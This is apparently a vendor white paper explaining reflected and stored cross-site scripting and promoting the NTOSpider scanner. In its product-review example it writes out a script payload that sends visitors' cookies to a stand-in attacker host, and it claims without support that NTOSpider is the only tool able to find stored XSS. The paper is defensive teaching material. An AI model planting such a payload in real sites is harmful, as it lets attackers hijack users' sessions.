

DETECTING PERSISTENT CROSS-SITE SCRIPTING

Attacking Your Business Or Your Customers?

Too frequently when businesses think about the dangers presented by hackers, they think exclusively about intrusion. The notion that a hacker will go in and steal data vital business data, or customer information can keep executives and IT managers alike tossing in their sleep. Businesses spend far less time focusing the increasing problem that hackers might attack their customers through their website. This type of attack is known as Cross-Site Scripting. Sites that are vulnerable to Cross-Site Scripting are not PCI compliant.

As discussed in a recent article (http://www.theregister.co.uk/2008/06/13/security_giants_xssed/) even security giants like McAfee, Symantec and Verisign have collectively had at least 30 Cross-Site Scripting vulnerabilities on their websites that exposed their customers to being redirected away from their websites, or potentially having malware installed on their computers.

This white paper will explain how these attacks work and will discuss the difference between *Non-Persistent Cross-Site Scripting* and the far more dangerous *Persistent Cross-Site Scripting* variations. We will highlight the challenge presented to Web Application Security Scanners and how only NTOSpider solves them.

Can This Happen To Your Business?

If it can happen to those security conscious companies and many others (<http://www.xssed.com/>), it can happen to your business. Anytime you display user input or content, you must properly encode it or you will be exposed. You may be thinking that you do not display user content, so consider the following questions:

- Does your site have a search form which shows the user what they searched for, or puts that value back into the search field?
- Do you have any type of login page or account system where users can choose their user name, or have any profile such as first and last name?
- Do you have any feedback or support form which is later display to someone internally? (This could expose your internal users to dangerous attacks as well)
- Do you allow users to comment on content or products in any kind of review system?
- Do you have a shopping cart that may display back quantity, shipping or billing information that was provided by the user?
- Are you sure that your web developers are not using web cookies to pass information between pages?
- Are you certain that your web developers have fully protected each of these attack points, and are as well versed in all the various ways that hackers may try to use to exploit them?

When hackers find these types of functionality on your website, they are going to try to find a way to exploit them. One of the most popular method utilized by hackers is known as Cross-Site Scripting abbreviated as XSS.

Cross-Site Scripting (XSS)

When hackers are using your website to attack your customers, you are probably dealing with a Cross-

Site Scripting attack. Hackers can inject JavaScript (a routinely used scripting solution that gets executed on the user's web browser) which is normally used for legitimate functionality on websites, but in the hands of a hacker can be used for malicious purposes. Here are but a few examples:

- steal cookies which can then be used to impersonate your customer and have access to their data and privileges. This is also known as Session Hijacking;
- redirect the user to another website of their choosing. Maybe one that may be quite offensive, or one that attempts to install malware onto users computer;
- display alternate content on your own website;
- do a port scan of the customers internal network, which may lead to a full intrusion attempt.

In order to accomplish a Cross-Site Scripting attack they need a *Reflection Point*. A *Reflection Point* is any point where user input is reflected back by the website in any way.

There are two primary classes of Reflection Points.

1. Immediate / Non-Persistent: Input from a customer is displayed immediately on the page
2. Persistent: When user content is stored and displayed at some later point to themselves and possible to others

Immediate / Non-Persistent Reflection Points

A hacker is required to commit a bit effort to perform a successful attack against a *Non-Persistent Reflection Point* that is vulnerable to Cross-Site Scripting. It requires them to deliver the attack by way of a 3rd party such as e-mail (spam or targeted), chat, or a link from another website. It is easy to make use of a 3rd party, as the following example will show.

The Reflection Point

Lets look into how this works with a simple example of a search feature on your website.

a) What your customer sees when he searches for *foobar*:

We did not find results for: foobar

Search:

b) The HTML your browser is processing looks like this:

```
We did not find results for: foobar<br/><br/>
<form method="POST" name="searchform">
Search: <input name="q" value="" /> <input type="submit" name="submit" value="Submit" />
</form>
```

The customer's search input is immediately displayed on the page to let the customer that see what they searched for, which is a *Non-Persistent Reflection Point*. Using this *Non-Persistent Reflection Point* and a little know how, lets look at how easy it is to do a simple yet dangerous attack.

A Simple Example: Stealing Cookies

By replacing *foobar* with the following JavaScript, an attacker can collect cookies from your customers for later Session Hijacking efforts.

Persistent Reflection Points

On some websites, customer content is stored into a database and then shown to themselves and possible other customers at a later point. Take the example of a website that includes a vulnerable comment system.

Step A) On the *product.php?id=1* page users see the product along with customer comments

Product Details:

ID	1
Name	Rake
Description	clean up leaves
Price	50

Customer Reviews:

Bob Smith	*****	Great Rake!	Strong brushes that have lasted me for 5 years. Highly recommended.
---------------------------	-------	-------------	---

If you have this product, please [Submit your own review](#)

Step B) On *product_review.php?id=1* a hacker leaves a review with malicious code:

You review of: Rake

Name:	<input type="text" value="Joe Hacker"/>
Email Address:	<input type="text" value="hacker@hackersite.ru"/>
Rating:	<input type="text" value="*"/>
Title:	<input type="text" value="Not so great"/>
Description:	<pre>Dont buy this rake.<script>>window.location='http://hackersite.ru /collectcookies.php?site=%2Bdocument.domain%2B'%26cookies='%2Bdocument.cookie; </script></pre>
<input type="button" value="Submit"/> <input type="button" value="Cancel"/>	

Step C) They receive a thank you:

Thank you for your review.
Back to the Rake product page.

Step D) You will notice that their attack does not show up immediately, but if you return to *products.php?id=1*, the new comment is displayed.

Product Details:

ID	1
Name	Rake
Description	clean up leaves
Price	50

Customer Reviews:

Bob Smith	*****	Great Rake!	Strong brushes that have lasted me for 5 years. Highly recommended.
Joe Hacker	*	Not so great	Dont buy this rake.

If you have this product, please [Submit your own review](#)

The HTML a browser would process includes the malicious code hidden in the source:

```
<tr>
  <td><a href="mailto:hacker@hackersite.ru">Joe Hacker</a></td>
  <td>*</td>
  <td>Not so great</td>
  <td>Dont buy this rake.<script>>window.location='http://hackersite.ru/collectcookies.php
?site='+document.domain+'&cookies='+document.cookie;</script>|
</td>
</tr>
```

Exploiting Persistent Vulnerabilities

Once a hacker leaves a comment along with the malicious code, any customer visiting your site, who views the product and the associated comments will get attacked. There is no e-mail needed, no links from any other site, just visiting your site can cause your customers to have their accounts hijacked, potentially have malware installed on their computers or any of the various possible scenarios a hacker can come up with.

A user has an implicit sense of trust when using a website (as opposed to E-Mails where they at least have a chance to avoid an attack by being cautious about unsolicited E-Mails).

Some persistent XSS attacks will attempt to upload malware to user systems which will often create warning alerts. This can obviously impact a user's willingness to use a site. It is even possible that malware detection schemes (like Google) will blacklist a website found with Persistent XSS attacks hosted on it.

It should now be clear that Cross-Site Scripting attacks can be very dangerous to your customers and your businesses, with Persistent Cross-Site Scripting vulnerabilities being vastly more dangerous. However most Web Application Scanners are unable to properly detect Persistent Cross-Site Scripting vulnerabilities.

Only Scanner To Properly Detect Persistent XSS

Testing for persistent cross-site scripting attacks using an automated scanner involves very significant technical challenges. Testing for non-persistent attacks is fairly simple: you perform an attack and check the resulting page to see if the malicious code is present and if it will create a popup.

Persistent cross-site scripting is far more difficult to detect because the attack will only appear on a page where user-generated content (and hence the attack) appears. Because user-generated content can appear in a variety of ways, it is very difficult to detect reflection points. Finding the reflection point is the only way to detect if the attack has succeeded.

All other Web Application Scanners are only capable of testing for Non-Persistent and immediate *Reflection Points*, which means they would entirely miss the most dangerous potential problems on your website

NTOSpider is the only web application scanner on the market that includes a Pre-Attacking *Reflection Analysis* engine capable of properly detecting Persistent *Reflection Points* in order to test them for Cross-Site Scripting vulnerabilities.

The engine inventories all *Reflection Points* and presents them in a report like this:

URL: http://www.yoursite.com:80/review.php?product_id=9				
Input		Reflection		
Parameter	Method	URL	Persistent	Dangerous Characters
name	POST	http://www.yoursite.com:80/product.php?id=9	Yes	'
email	POST	http://www.yoursite.com:80/product.php?id=9	Yes	" "
title	POST	http://www.yoursite.com:80/product.php?id=9	Yes	" > "
description	POST	http://www.yoursite.com:80/product.php?id=9	Yes	" " < >

This data is very valuable to human pen-testers to limit down inputs where they need to perform manual audits, which greatly increases their productivity. Even more importantly, this data gets handed off to the Cross Site Scripting attack module for a targeted analysis to determine if the *Reflection Point* is vulnerable to a Cross-Site Scripting attack.

If found to be exploitable, the vulnerability report will indicate the fact and adjust the score according to the confidence and impact rating formula.

URL: http://www.yoursite.com:80/product_review.php?product_id=1 Root Cause #19: description HIGH

Vulnerable Parameter	Original Value	Method	
description		POST	
Attack Type	Attack Value	Error	
Unfiltered style expression	Injected: abc Persists in: http://www.yoursite.com:80/product.php?id=1	<div style="border: 1px solid #ccc; padding: 5px; text-align: center;"> Successful XSS Attack zrkmrzkr <input type="button" value="OK"/> </div> <div style="float: right; margin-top: 10px;"> <input type="button" value="Validate"/> </div>	

The final feature of importance in our reporting is the Validate button. This Validate button is included in the report and has embedded into it exact attack that was performed by the scanner. This allows you to perform the attack for yourself, and see it work in your own browser. Anyone you hand these reports to (including your development teams) will be able to utilize this feature without need for a seat license.

NTOSpider is the only web application scanner that will discover these Persistent Cross-Site Scripting vulnerabilities and provide a report for your developers that includes the ability to see the attack in action and to be able to remediate your website.

Conclusion

In recent months, we have seen a shift in the way that hackers ply their trade. Increasingly, instead of attacking applications to get to the databases they access, hackers are using applications to attack website users.

Detection of *Persistent Cross-Site Scripting* attacks is very challenging because by their nature, the attacks have a data flow that can span multiple pages.

NTOSpider has created intelligence to detect these *Reflection Points* and to detect the vulnerability of websites to *Persistent Cross-Site Scripting* attacks.

About The Author

Dan Kuykendall is the co-CEO and CTO of NT OBJECTives, Inc.

Responsible for driving NT OBJECTives' development efforts. Mr. Kuykendall brings an extensive background in web application development methodologies and security related understanding to NT OBJECTives. Dan joins NT OBJECTives from Foundstone, where he was responsible for the web interface to the companies flagship product, FoundScan. During this time he was instrumental in building scan management, and remediation capabilities into the product. Prior to Foundstone, Dan led the foundation of the Information Security team in the United States branches of the financial giant, Fortis. Mr. Kuykendall is involved with Web Application Security Consortium, is regular contributor to many open source development projects, and podcasts to educate the public about web application security issues.